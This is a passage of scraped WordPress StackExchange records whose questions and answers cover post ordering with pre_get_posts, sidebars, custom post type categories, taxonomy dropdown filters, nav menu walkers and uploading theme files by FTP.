"text": "<p>First of all, you should not use custom query just to change the order of posts. This may cause problems with pagination and definitely is not optimal.</p>\n\n<p>So first things first. Remove that part of your code:</p>\n\n<pre><code> global $wp_query;\n $args = array(\n 'meta_key' => 'publish_date',\n 'orderby' => 'meta_value',\n 'order' => 'DESC'\n );\n $args = array_merge( $wp_query->query, $args );\n query_posts( $args );\n</code></pre>\n\n<p>All it does is changing few params and calling the query again. But there is an action, that allows you to add your custom parameters before running the query: <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts\" rel=\"nofollow noreferrer\"><code>pre_get_posts</code></a>. And you can use it to modify order on category archives too:</p>\n\n<pre><code>function my_set_custom_order( $query ) {\n if ( ! is_admin() && $query->is_main_query() ) { // modify only main query on front-end\n if ( is_home() ) {\n $query->set( 'meta_key', 'publish_date' );\n $query->set( 'orderby', 'meta_value' );\n $query->set( 'order', 'DESC' );\n }\n if ( is_category( 'cats' ) ) {\n $query->set( 'meta_key', 'cat_name' );\n $query->set( 'orderby', 'meta_value' );\n $query->set( 'order', 'ASC' ); \n }\n // ...\n }\n}\nadd_action( 'pre_get_posts', 'my_set_custom_order' );\n</code></pre>\n\n<p>This will sort your homepage DESC by <code>publish_date</code> and your cats category ASC by <code>cat_name</code>.</p>\n\n<p>You can add whatever you want/need in there and you can use <a href=\"https://codex.wordpress.org/Conditional_Tags\" rel=\"nofollow noreferrer\">Conditional Tags</a> to modify queries only for some requests. </p>\n"
}
] | 2019/04/18 | [
"https://wordpress.stackexchange.com/questions/334684",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165342/"
] | I have been struggling with this for hours now, any help appreciated. I am using Underscores theme with one sidebar (sidebar-1, on the left) and Custom Sidebars plugin so that I can have different side content on each page. The problem is when I add a new sidebar (sidebar-2) which I want to appear just above the footer to contain the same content on every page.
functions.php:
```
function myunderscores3_widgets_init() {
register_sidebar( array(
'name' => esc_html__( 'Sidebar', 'myunderscores3' ),
'id' => 'sidebar-1',
'description' => esc_html__( 'Add widgets here.', 'myunderscores3' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
//'before_title' => '<!--',
//'after_title' => '-->',
) );
register_sidebar( array(
'name' => esc_html__( 'Bottom Sidebar', 'myunderscores3' ),
'id' => 'sidebar-2',
'description' => esc_html__( 'Add widgets here.', 'myunderscores3' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
//'before_title' => '<!--',
//'after_title' => '-->',
) );
}
add_action( 'widgets_init', 'myunderscores3_widgets_init' );
```
sidebar.php (for the sidebar-1 content):
```
if ( ! is_active_sidebar( 'sidebar-1' ) ) {
return;
}
?>
<aside id="secondary" class="widget-area">
<?php dynamic_sidebar( 'sidebar-1' ); ?>
</aside><!-- #secondary -->
```
page.php (to pull in sidebar-1):
```
<?php
get_sidebar();
?>
</div><!-- wrapper -->
```
footer.php (to pull in sidebar-2):
```
if (is_active_sidebar( 'sidebar-2' )) {
dynamic_sidebar( 'sidebar-2' );
}
?>
</div><!-- #content -->
```
After adding widget content to sidebar-2 this is working fine on every page apart from the one page that has no sidebar-1 content. On this page the sidebar-2 content is appearing twice - on the bottom as expected and in sidebar-1 content area also ! Furthermore the 'no-sidebar' class is missing from the body. In the backend the sidebar-1 widgets are located through each individual page whereas the sidebar-2 content is located through the widget ('As Sidebar for selected Post Types' - Pages). On the actual page where the sidebar-2 content is appearing twice I have not specified any sidebars inside the actual page as I am doing this through the widget settings. Any ideas ? Thank you | First of all, you should not use custom query just to change the order of posts. This may cause problems with pagination and definitely is not optimal.
So first things first. Remove that part of your code:
```
global $wp_query;
$args = array(
'meta_key' => 'publish_date',
'orderby' => 'meta_value',
'order' => 'DESC'
);
$args = array_merge( $wp_query->query, $args );
query_posts( $args );
```
All it does is changing few params and calling the query again. But there is an action, that allows you to add your custom parameters before running the query: [`pre_get_posts`](https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts). And you can use it to modify order on category archives too:
```
function my_set_custom_order( $query ) {
if ( ! is_admin() && $query->is_main_query() ) { // modify only main query on front-end
if ( is_home() ) {
$query->set( 'meta_key', 'publish_date' );
$query->set( 'orderby', 'meta_value' );
$query->set( 'order', 'DESC' );
}
if ( is_category( 'cats' ) ) {
$query->set( 'meta_key', 'cat_name' );
$query->set( 'orderby', 'meta_value' );
$query->set( 'order', 'ASC' );
}
// ...
}
}
add_action( 'pre_get_posts', 'my_set_custom_order' );
```
This will sort your homepage DESC by `publish_date` and your cats category ASC by `cat_name`.
You can add whatever you want/need in there and you can use [Conditional Tags](https://codex.wordpress.org/Conditional_Tags) to modify queries only for some requests. |
334,686 | <p><strong>I work at a webdev company where we are experiencing the following problems:</strong></p>
<ul>
<li>The plugin not functioning properly with other plugins that are already installed.</li>
<li>Things that don't work the way we expected, this usually happens because we cannot spend too much time investigating what a plugin actually does.</li>
<li>Bugs that occur while trying to use certain functionalities. </li>
</ul>
<p>For example: I was trying to implement WebP for one of our clients, after having struggled with the plugin of our choosing due to bugs within core functions I finally got it to work after implementing some changes within the plugin. Then finding out that the caching plugin that is being used by the website(and many other client websites of us) does not support the dynamic function which detects whether a browser even supports WebP or not.</p>
<p><strong>I'm not trying to get an answer to the problem described in the last paragraph but I would like to know:</strong> </p>
<ul>
<li>How you guys tackle the problem of having to work with plugins in general, working with multiple plugins and their malfunctions when combining them.</li>
<li>At what point you decide to build the functionality yourself instead of using a plugin. </li>
<li>When receiving requests from the client that require you to either add a new plugin or a new piece of code which hooks into almost the same element. How do you keep in mind the longterm of a website instead of looking at whether it's more cost efficient in the short term. For example we have a client that wanted us to implement discount coupons that were only available for certain <code>user_roles</code>. And there were already certain discount rules being applied to those <code>user_roles</code>. Then they wanted invoices specifically for those <code>user_roles</code>. Shipping costs that are different based on <code>user_role</code>, location and the checkout total. </li>
</ul>
| [
{
"answer_id": 334653,
"author": "Matt Cromwell",
"author_id": 48338,
"author_profile": "https://wordpress.stackexchange.com/users/48338",
"pm_score": -1,
"selected": false,
"text": "<p>You most likely updated your index.php right? In the case of category pages you can use category.php (or archive.php but category.php is more specific). </p>\n\n<p>The Codex has a good example that you could adapt fairly easily:\n<a href=\"https://codex.wordpress.org/Category_Templates#Different_Text_on_Some_Category_Pages\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Category_Templates#Different_Text_on_Some_Category_Pages</a></p>\n\n<pre><code><?php if (is_category('Category A')) : ?>\n<p>This is the text to describe category A</p>\n<?php elseif (is_category('Category B')) : ?>\n<p>This is the text to describe category B</p>\n<?php else : ?>\n<p>This is some generic text to describe all other category pages, \nI could be left blank</p>\n<?php endif; ?>\n</code></pre>\n\n<p>Alternatively, you could get VERY specific, and customize by category slug, having a unique template for every category you create. So if you had three categories called:</p>\n\n<ul>\n<li>Cats</li>\n<li>Dogs</li>\n<li>Hamsters</li>\n</ul>\n\n<p>You would have three templates called:</p>\n\n<ul>\n<li>category-cats.php</li>\n<li>category-dogs.php</li>\n<li>category-hampsters.php</li>\n</ul>\n\n<p>In order to have custom sorting on each of those templates, you'd customize the wp_query args with the \"orderby\" argument. See here:\n<a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters</a></p>\n\n<p>I hope that clears it up a bit. Good luck!</p>\n"
},
{
"answer_id": 334658,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": false,
"text": "<p>First of all, you should not use custom query just to change the order of posts. This may cause problems with pagination and definitely is not optimal.</p>\n\n<p>So first things first. Remove that part of your code:</p>\n\n<pre><code> global $wp_query;\n $args = array(\n 'meta_key' => 'publish_date',\n 'orderby' => 'meta_value',\n 'order' => 'DESC'\n );\n $args = array_merge( $wp_query->query, $args );\n query_posts( $args );\n</code></pre>\n\n<p>All it does is changing few params and calling the query again. But there is an action, that allows you to add your custom parameters before running the query: <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts\" rel=\"nofollow noreferrer\"><code>pre_get_posts</code></a>. And you can use it to modify order on category archives too:</p>\n\n<pre><code>function my_set_custom_order( $query ) {\n if ( ! is_admin() && $query->is_main_query() ) { // modify only main query on front-end\n if ( is_home() ) {\n $query->set( 'meta_key', 'publish_date' );\n $query->set( 'orderby', 'meta_value' );\n $query->set( 'order', 'DESC' );\n }\n if ( is_category( 'cats' ) ) {\n $query->set( 'meta_key', 'cat_name' );\n $query->set( 'orderby', 'meta_value' );\n $query->set( 'order', 'ASC' ); \n }\n // ...\n }\n}\nadd_action( 'pre_get_posts', 'my_set_custom_order' );\n</code></pre>\n\n<p>This will sort your homepage DESC by <code>publish_date</code> and your cats category ASC by <code>cat_name</code>.</p>\n\n<p>You can add whatever you want/need in there and you can use <a href=\"https://codex.wordpress.org/Conditional_Tags\" rel=\"nofollow noreferrer\">Conditional Tags</a> to modify queries only for some requests. </p>\n"
}
] | 2019/04/18 | [
"https://wordpress.stackexchange.com/questions/334686",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106380/"
] | **I work at a webdev company where we are experiencing the following problems:**
* The plugin not functioning properly with other plugins that are already installed.
* Things that don't work the way we expected, this usually happens because we cannot spend too much time investigating what a plugin actually does.
* Bugs that occur while trying to use certain functionalities.
For example: I was trying to implement WebP for one of our clients, after having struggled with the plugin of our choosing due to bugs within core functions I finally got it to work after implementing some changes within the plugin. Then finding out that the caching plugin that is being used by the website(and many other client websites of us) does not support the dynamic function which detects whether a browser even supports WebP or not.
**I'm not trying to get an answer to the problem described in the last paragraph but I would like to know:**
* How you guys tackle the problem of having to work with plugins in general, working with multiple plugins and their malfunctions when combining them.
* At what point you decide to build the functionality yourself instead of using a plugin.
* When receiving requests from the client that require you to either add a new plugin or a new piece of code which hooks into almost the same element. How do you keep in mind the longterm of a website instead of looking at whether it's more cost efficient in the short term. For example we have a client that wanted us to implement discount coupons that were only available for certain `user_roles`. And there were already certain discount rules being applied to those `user_roles`. Then they wanted invoices specifically for those `user_roles`. Shipping costs that are different based on `user_role`, location and the checkout total. | First of all, you should not use custom query just to change the order of posts. This may cause problems with pagination and definitely is not optimal.
So first things first. Remove that part of your code:
```
global $wp_query;
$args = array(
'meta_key' => 'publish_date',
'orderby' => 'meta_value',
'order' => 'DESC'
);
$args = array_merge( $wp_query->query, $args );
query_posts( $args );
```
All it does is changing few params and calling the query again. But there is an action, that allows you to add your custom parameters before running the query: [`pre_get_posts`](https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts). And you can use it to modify order on category archives too:
```
function my_set_custom_order( $query ) {
if ( ! is_admin() && $query->is_main_query() ) { // modify only main query on front-end
if ( is_home() ) {
$query->set( 'meta_key', 'publish_date' );
$query->set( 'orderby', 'meta_value' );
$query->set( 'order', 'DESC' );
}
if ( is_category( 'cats' ) ) {
$query->set( 'meta_key', 'cat_name' );
$query->set( 'orderby', 'meta_value' );
$query->set( 'order', 'ASC' );
}
// ...
}
}
add_action( 'pre_get_posts', 'my_set_custom_order' );
```
This will sort your homepage DESC by `publish_date` and your cats category ASC by `cat_name`.
You can add whatever you want/need in there and you can use [Conditional Tags](https://codex.wordpress.org/Conditional_Tags) to modify queries only for some requests. |
334,710 | <p>I'm trying to get the category ID so I can call a loop query on only that category ID. However the following code returns null. Any ideas why? In the admin bar it shows edit category with an ID of 3, however I need this ID to be generated dynamically. </p>
<pre><code>$categories = get_the_category();
$category_id = $categories[0]->cat_ID;
var_dump($category_id);
</code></pre>
<p>This category is generated from a custom post type.</p>
<p>I used this to get the category ID:</p>
<pre><code>$category = get_category( get_query_var( 'cat' ) );
$cat_id = $category->cat_ID;
</code></pre>
<p>EDIT: I registered the custom post type like this:</p>
<pre><code>// Register Custom Post Type
function custom_post_type() {
$labels = array(
'name' => _x( 'Works', 'Post Type General Name', 'text_domain' ),
'singular_name' => _x( 'Work', 'Post Type Singular Name', 'text_domain' ),
'menu_name' => __( 'Works', 'text_domain' ),
'name_admin_bar' => __( 'Works', 'text_domain' ),
'archives' => __( 'Item Archives', 'text_domain' ),
'attributes' => __( 'Item Attributes', 'text_domain' ),
'parent_item_colon' => __( 'Parent Item:', 'text_domain' ),
'all_items' => __( 'All Items', 'text_domain' ),
'add_new_item' => __( 'Add New Item', 'text_domain' ),
'add_new' => __( 'Add New', 'text_domain' ),
'new_item' => __( 'New Item', 'text_domain' ),
'edit_item' => __( 'Edit Item', 'text_domain' ),
'update_item' => __( 'Update Item', 'text_domain' ),
'view_item' => __( 'View Item', 'text_domain' ),
'view_items' => __( 'View Items', 'text_domain' ),
'search_items' => __( 'Search Item', 'text_domain' ),
'not_found' => __( 'Not found', 'text_domain' ),
'not_found_in_trash' => __( 'Not found in Trash', 'text_domain' ),
'featured_image' => __( 'Featured Image', 'text_domain' ),
'set_featured_image' => __( 'Set featured image', 'text_domain' ),
'remove_featured_image' => __( 'Remove featured image', 'text_domain' ),
'use_featured_image' => __( 'Use as featured image', 'text_domain' ),
'insert_into_item' => __( 'Insert into item', 'text_domain' ),
'uploaded_to_this_item' => __( 'Uploaded to this item', 'text_domain' ),
'items_list' => __( 'Items list', 'text_domain' ),
'items_list_navigation' => __( 'Items list navigation', 'text_domain' ),
'filter_items_list' => __( 'Filter items list', 'text_domain' ),
);
$args = array(
'label' => __( 'Work', 'text_domain' ),
'description' => __( 'Work Description', 'text_domain' ),
'labels' => $labels,
'supports' => array( 'title', 'editor' ),
'taxonomies' => array( 'category', 'post_tag' ),
'hierarchical' => false,
'public' => true,
'show_ui' => true,
'show_in_menu' => true,
'menu_position' => 5,
'show_in_admin_bar' => true,
'show_in_nav_menus' => true,
'can_export' => true,
'has_archive' => true,
'exclude_from_search' => false,
'publicly_queryable' => true,
'capability_type' => 'page',
'show_in_rest' => true,
);
register_post_type( 'works', $args );
}
add_action( 'init', 'custom_post_type', 0 );
</code></pre>
| [
{
"answer_id": 334712,
"author": "m33bo",
"author_id": 19220,
"author_profile": "https://wordpress.stackexchange.com/users/19220",
"pm_score": 0,
"selected": false,
"text": "<p>I used this to get the category ID.</p>\n\n<pre><code>$category = get_category( get_query_var( 'cat' ) );\n$cat_id = $category->cat_ID; \n</code></pre>\n"
},
{
"answer_id": 334717,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 1,
"selected": false,
"text": "<p><a href=\"https://developer.wordpress.org/reference/functions/get_the_category/\" rel=\"nofollow noreferrer\"><strong>get_the_category</strong></a> retrieve array of post categories. </p>\n\n<p>This tag may be used outside the loop by passing a <code>post id</code> as the parameter.</p>\n\n<p>The syntax is</p>\n\n<pre><code>$categories = get_the_category( $post_id ); // Outside the loop\n\n// OR\n\n$categories = get_the_category( ); // Inside the loop\n</code></pre>\n\n<p>Note: This function only returns results from the default “category” taxonomy. For custom taxonomies use <strong><a href=\"https://developer.wordpress.org/reference/functions/get_the_terms/\" rel=\"nofollow noreferrer\">get_the_terms()</a></strong> .</p>\n\n<pre><code>$categories = get_the_terms( $post_id, 'taxonomy' );\n</code></pre>\n\n<p>I hope this may help.</p>\n"
}
] | 2019/04/18 | [
"https://wordpress.stackexchange.com/questions/334710",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/19220/"
] | I'm trying to get the category ID so I can call a loop query on only that category ID. However the following code returns null. Any ideas why? In the admin bar it shows edit category with an ID of 3, however I need this ID to be generated dynamically.
```
$categories = get_the_category();
$category_id = $categories[0]->cat_ID;
var_dump($category_id);
```
This category is generated from a custom post type.
I used this to get the category ID:
```
$category = get_category( get_query_var( 'cat' ) );
$cat_id = $category->cat_ID;
```
EDIT: I registered the custom post type like this:
```
// Register Custom Post Type
function custom_post_type() {
$labels = array(
'name' => _x( 'Works', 'Post Type General Name', 'text_domain' ),
'singular_name' => _x( 'Work', 'Post Type Singular Name', 'text_domain' ),
'menu_name' => __( 'Works', 'text_domain' ),
'name_admin_bar' => __( 'Works', 'text_domain' ),
'archives' => __( 'Item Archives', 'text_domain' ),
'attributes' => __( 'Item Attributes', 'text_domain' ),
'parent_item_colon' => __( 'Parent Item:', 'text_domain' ),
'all_items' => __( 'All Items', 'text_domain' ),
'add_new_item' => __( 'Add New Item', 'text_domain' ),
'add_new' => __( 'Add New', 'text_domain' ),
'new_item' => __( 'New Item', 'text_domain' ),
'edit_item' => __( 'Edit Item', 'text_domain' ),
'update_item' => __( 'Update Item', 'text_domain' ),
'view_item' => __( 'View Item', 'text_domain' ),
'view_items' => __( 'View Items', 'text_domain' ),
'search_items' => __( 'Search Item', 'text_domain' ),
'not_found' => __( 'Not found', 'text_domain' ),
'not_found_in_trash' => __( 'Not found in Trash', 'text_domain' ),
'featured_image' => __( 'Featured Image', 'text_domain' ),
'set_featured_image' => __( 'Set featured image', 'text_domain' ),
'remove_featured_image' => __( 'Remove featured image', 'text_domain' ),
'use_featured_image' => __( 'Use as featured image', 'text_domain' ),
'insert_into_item' => __( 'Insert into item', 'text_domain' ),
'uploaded_to_this_item' => __( 'Uploaded to this item', 'text_domain' ),
'items_list' => __( 'Items list', 'text_domain' ),
'items_list_navigation' => __( 'Items list navigation', 'text_domain' ),
'filter_items_list' => __( 'Filter items list', 'text_domain' ),
);
$args = array(
'label' => __( 'Work', 'text_domain' ),
'description' => __( 'Work Description', 'text_domain' ),
'labels' => $labels,
'supports' => array( 'title', 'editor' ),
'taxonomies' => array( 'category', 'post_tag' ),
'hierarchical' => false,
'public' => true,
'show_ui' => true,
'show_in_menu' => true,
'menu_position' => 5,
'show_in_admin_bar' => true,
'show_in_nav_menus' => true,
'can_export' => true,
'has_archive' => true,
'exclude_from_search' => false,
'publicly_queryable' => true,
'capability_type' => 'page',
'show_in_rest' => true,
);
register_post_type( 'works', $args );
}
add_action( 'init', 'custom_post_type', 0 );
``` | [**get\_the\_category**](https://developer.wordpress.org/reference/functions/get_the_category/) retrieve array of post categories.
This tag may be used outside the loop by passing a `post id` as the parameter.
The syntax is
```
$categories = get_the_category( $post_id ); // Outside the loop
// OR
$categories = get_the_category( ); // Inside the loop
```
Note: This function only returns results from the default “category” taxonomy. For custom taxonomies use **[get\_the\_terms()](https://developer.wordpress.org/reference/functions/get_the_terms/)** .
```
$categories = get_the_terms( $post_id, 'taxonomy' );
```
I hope this may help. |
334,724 | <p>I would like to display the posts when I click on an item with the dropdown select</p>
<p>Currently, my select is OK, all my terms are displayed and all posts too.</p>
<p>I just want to know of it's possible to filter</p>
<p>This is my dropdown select : </p>
<pre><code><select name="soins-taxonomy">
<option value="all">Tout afficher</option>
<?php
// Get the taxonomy's terms
$terms = get_terms(
array(
'taxonomy' => 'location',
'hide_empty' => false,
'exclude' => 1
)
);
// Check if any term exists
if ( ! empty( $terms ) && is_array( $terms ) ) {
// Run a loop and print them all
foreach ( $terms as $term ) { ?>
<?php echo '<option value="' . $term->term_id . '">' . $term->name . '</option>';
}
}
?>
</select>
</code></pre>
<p>And this is my Query to display posts : </p>
<pre><code><?php
$ourCurrentPage = get_query_var('paged');
$args = array(
'order' => 'ASC',
'post_type' => 'etablissements',
'taxonomy' => 'location',
'posts_per_page' => 9,
'paged' => $ourCurrentPage
);
// Custom query.
$query_loc = new WP_Query( $args );
// Check that we have query results.
if ( $query_loc->have_posts() ) {
// Start looping over the query results.
while ( $query_loc->have_posts() ) {
$query_loc->the_post();?>
<!-- START ARTICLE -->
<div class="col-xl-4 col-lg-6 col-md-6 mb-30">
<div class="single-etablissement">
<p class="single-etablissement-title"><?php the_title(); ?></p>
<p><?php the_field('eta_adress'); ?></p>
<p><?php the_field('eta_cp'); ?> - <?php the_field('eta_city'); ?></p>
<p><?php the_field('eta_country'); ?></p>
</div>
</div>
<!-- END ARTICLE -->
<?php
} // End while
} // End if
else { echo '<p>Aucune actualité trouvée</p>'; } ?>
<?php wp_reset_postdata(); ?>
</code></pre>
| [
{
"answer_id": 334712,
"author": "m33bo",
"author_id": 19220,
"author_profile": "https://wordpress.stackexchange.com/users/19220",
"pm_score": 0,
"selected": false,
"text": "<p>I used this to get the category ID.</p>\n\n<pre><code>$category = get_category( get_query_var( 'cat' ) );\n$cat_id = $category->cat_ID; \n</code></pre>\n"
},
{
"answer_id": 334717,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 1,
"selected": false,
"text": "<p><a href=\"https://developer.wordpress.org/reference/functions/get_the_category/\" rel=\"nofollow noreferrer\"><strong>get_the_category</strong></a> retrieve array of post categories. </p>\n\n<p>This tag may be used outside the loop by passing a <code>post id</code> as the parameter.</p>\n\n<p>The syntax is</p>\n\n<pre><code>$categories = get_the_category( $post_id ); // Outside the loop\n\n// OR\n\n$categories = get_the_category( ); // Inside the loop\n</code></pre>\n\n<p>Note: This function only returns results from the default “category” taxonomy. For custom taxonomies use <strong><a href=\"https://developer.wordpress.org/reference/functions/get_the_terms/\" rel=\"nofollow noreferrer\">get_the_terms()</a></strong> .</p>\n\n<pre><code>$categories = get_the_terms( $post_id, 'taxonomy' );\n</code></pre>\n\n<p>I hope this may help.</p>\n"
}
] | 2019/04/18 | [
"https://wordpress.stackexchange.com/questions/334724",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/162471/"
] | I would like to display the posts when I click on an item with the dropdown select
Currently, my select is OK, all my terms are displayed and all posts too.
I just want to know of it's possible to filter
This is my dropdown select :
```
<select name="soins-taxonomy">
<option value="all">Tout afficher</option>
<?php
// Get the taxonomy's terms
$terms = get_terms(
array(
'taxonomy' => 'location',
'hide_empty' => false,
'exclude' => 1
)
);
// Check if any term exists
if ( ! empty( $terms ) && is_array( $terms ) ) {
// Run a loop and print them all
foreach ( $terms as $term ) { ?>
<?php echo '<option value="' . $term->term_id . '">' . $term->name . '</option>';
}
}
?>
</select>
```
And this is my Query to display posts :
```
<?php
$ourCurrentPage = get_query_var('paged');
$args = array(
'order' => 'ASC',
'post_type' => 'etablissements',
'taxonomy' => 'location',
'posts_per_page' => 9,
'paged' => $ourCurrentPage
);
// Custom query.
$query_loc = new WP_Query( $args );
// Check that we have query results.
if ( $query_loc->have_posts() ) {
// Start looping over the query results.
while ( $query_loc->have_posts() ) {
$query_loc->the_post();?>
<!-- START ARTICLE -->
<div class="col-xl-4 col-lg-6 col-md-6 mb-30">
<div class="single-etablissement">
<p class="single-etablissement-title"><?php the_title(); ?></p>
<p><?php the_field('eta_adress'); ?></p>
<p><?php the_field('eta_cp'); ?> - <?php the_field('eta_city'); ?></p>
<p><?php the_field('eta_country'); ?></p>
</div>
</div>
<!-- END ARTICLE -->
<?php
} // End while
} // End if
else { echo '<p>Aucune actualité trouvée</p>'; } ?>
<?php wp_reset_postdata(); ?>
``` | [**get\_the\_category**](https://developer.wordpress.org/reference/functions/get_the_category/) retrieve array of post categories.
This tag may be used outside the loop by passing a `post id` as the parameter.
The syntax is
```
$categories = get_the_category( $post_id ); // Outside the loop
// OR
$categories = get_the_category( ); // Inside the loop
```
Note: This function only returns results from the default “category” taxonomy. For custom taxonomies use **[get\_the\_terms()](https://developer.wordpress.org/reference/functions/get_the_terms/)** .
```
$categories = get_the_terms( $post_id, 'taxonomy' );
```
I hope this may help. |
334,799 | <p>I am having some troubles with my wordpress walker code. I know it's possible to add a custom css class manually via the admin menu section. But what i am trying to achieve is to get this done automatically whenever a submenu page is added by my client. </p>
<p>The first step i took was to replace the ul li navigation and change it to an a href navigational style. This works. Now i am looking for a way to add a class to the submenu a href items...</p>
<p>This is how my walker looks like at the moment.</p>
<p><pre><code></p>
<p>class Description_Walker extends Walker_Nav_Menu
{
function start_el(&$output, $item, $depth, $args)
{
$classes = empty($item->classes) ? array () : (array) $item->classes;
$class_names = join(' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );
!empty ( $class_names ) and $class_names = ' class="'. esc_attr( $class_names ) . '"';
$output .= "";
$attributes = '';
!empty( $item->attr_title ) and $attributes .= ' title="' . esc_attr( $item->attr_title ) .'"';
!empty( $item->target ) and $attributes .= ' target="' . esc_attr( $item->target ) .'"';
!empty( $item->xfn ) and $attributes .= ' rel="' . esc_attr( $item->xfn ) .'"';
!empty( $item->url ) and $attributes .= ' href="' . esc_attr( $item->url ) .'"';
$title = apply_filters( 'the_title', $item->title, $item->ID );
$item_output = $args->before
. ""
. $args->link_before
. $title
. ''
. $args->link_after
. $args->after;</p>
<pre><code> if (array_search('menu-item-has-children', $item->classes)) {
$output .= sprintf("\n<div data-delay='0' class='w-dropdown'><div class='dropdown-toggle'><div class='icon icon-dropdown-toggle'></div><div>$title</div></div>
\n", ( array_search('current-menu-item', $item->classes) || array_search('current-page-parent', $item->classes) ) ? 'active' : '', $item->url,
$item->title);
} else {
$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
}
}
function start_lvl(&$output, $depth, $args ) {
$indent = str_repeat("\t", $depth);
$output .= "\n$indent<nav class=\"dropdown-list\">\n<div class=\"submenu_speech\"></div>";
}
function end_lvl( &$output, $depth, $args = array() ) {
$indent = str_repeat("\t", $depth);
$output .= "$indent</nav></div>\n";
}
function end_el(&$output, $item, $depth, $args) {
$output .= "\n";
}
</code></pre>
<p>}
</pre></code></p>
| [
{
"answer_id": 334729,
"author": "RiddleMeThis",
"author_id": 86845,
"author_profile": "https://wordpress.stackexchange.com/users/86845",
"pm_score": 2,
"selected": true,
"text": "<p>The easiest way to do this is to upload them using FTP. You can use a free program like <a href=\"https://filezilla-project.org/download.php?type=client\" rel=\"nofollow noreferrer\">Filezilla</a> to upload your files to your server.</p>\n\n<p>You will need to know the host name (usually just your domain), user and password. If you don't know this info your hosting company will be able to assist you.</p>\n\n<p>Once connected, find the folder where WP is installed. This is typically inside of <code>/public_html/</code>. Your theme files are located in <code>/wp-content/themes/avada/</code>. You can upload your backup there.</p>\n\n<p>I would make sure you have current backups before doing anything.</p>\n"
},
{
"answer_id": 334741,
"author": "Arvind Singh",
"author_id": 113501,
"author_profile": "https://wordpress.stackexchange.com/users/113501",
"pm_score": 0,
"selected": false,
"text": "<p>All the themes file are uploaded in <strong><code>wp-content/themes/</code></strong> folder. If you have installed avada theme then you might find in <strong><code>/wp-content/themes/avada</code></strong>. simply make the zip file for avada and upload it to new site. </p>\n"
}
] | 2019/04/19 | [
"https://wordpress.stackexchange.com/questions/334799",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165420/"
] | I am having some troubles with my wordpress walker code. I know it's possible to add a custom css class manually via the admin menu section. But what i am trying to achieve is to get this done automatically whenever a submenu page is added by my client.
The first step i took was to replace the ul li navigation and change it to an a href navigational style. This works. Now i am looking for a way to add a class to the submenu a href items...
This is how my walker looks like at the moment.
class Description\_Walker extends Walker\_Nav\_Menu
{
function start\_el(&$output, $item, $depth, $args)
{
$classes = empty($item->classes) ? array () : (array) $item->classes;
$class\_names = join(' ', apply\_filters( 'nav\_menu\_css\_class', array\_filter( $classes ), $item ) );
!empty ( $class\_names ) and $class\_names = ' class="'. esc\_attr( $class\_names ) . '"';
$output .= "";
$attributes = '';
!empty( $item->attr\_title ) and $attributes .= ' title="' . esc\_attr( $item->attr\_title ) .'"';
!empty( $item->target ) and $attributes .= ' target="' . esc\_attr( $item->target ) .'"';
!empty( $item->xfn ) and $attributes .= ' rel="' . esc\_attr( $item->xfn ) .'"';
!empty( $item->url ) and $attributes .= ' href="' . esc\_attr( $item->url ) .'"';
$title = apply\_filters( 'the\_title', $item->title, $item->ID );
$item\_output = $args->before
. ""
. $args->link\_before
. $title
. ''
. $args->link\_after
. $args->after;
```
if (array_search('menu-item-has-children', $item->classes)) {
$output .= sprintf("\n<div data-delay='0' class='w-dropdown'><div class='dropdown-toggle'><div class='icon icon-dropdown-toggle'></div><div>$title</div></div>
\n", ( array_search('current-menu-item', $item->classes) || array_search('current-page-parent', $item->classes) ) ? 'active' : '', $item->url,
$item->title);
} else {
$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
}
}
function start_lvl(&$output, $depth, $args ) {
$indent = str_repeat("\t", $depth);
$output .= "\n$indent<nav class=\"dropdown-list\">\n<div class=\"submenu_speech\"></div>";
}
function end_lvl( &$output, $depth, $args = array() ) {
$indent = str_repeat("\t", $depth);
$output .= "$indent</nav></div>\n";
}
function end_el(&$output, $item, $depth, $args) {
$output .= "\n";
}
```
} | The easiest way to do this is to upload them using FTP. You can use a free program like [Filezilla](https://filezilla-project.org/download.php?type=client) to upload your files to your server.
You will need to know the host name (usually just your domain), user and password. If you don't know this info your hosting company will be able to assist you.
Once connected, find the folder where WP is installed. This is typically inside of `/public_html/`. Your theme files are located in `/wp-content/themes/avada/`. You can upload your backup there.
I would make sure you have current backups before doing anything. |
334,801 | <p>how to add fa fa icons customize menu using wp_nav_menu function?</p>
<pre><code>wp_nav_menu( array(
'theme_location' => 'primary',
'menu_id' => 'footer-menu',
'menu_class' => 'quick-link',
));
</code></pre>
| [
{
"answer_id": 334729,
"author": "RiddleMeThis",
"author_id": 86845,
"author_profile": "https://wordpress.stackexchange.com/users/86845",
"pm_score": 2,
"selected": true,
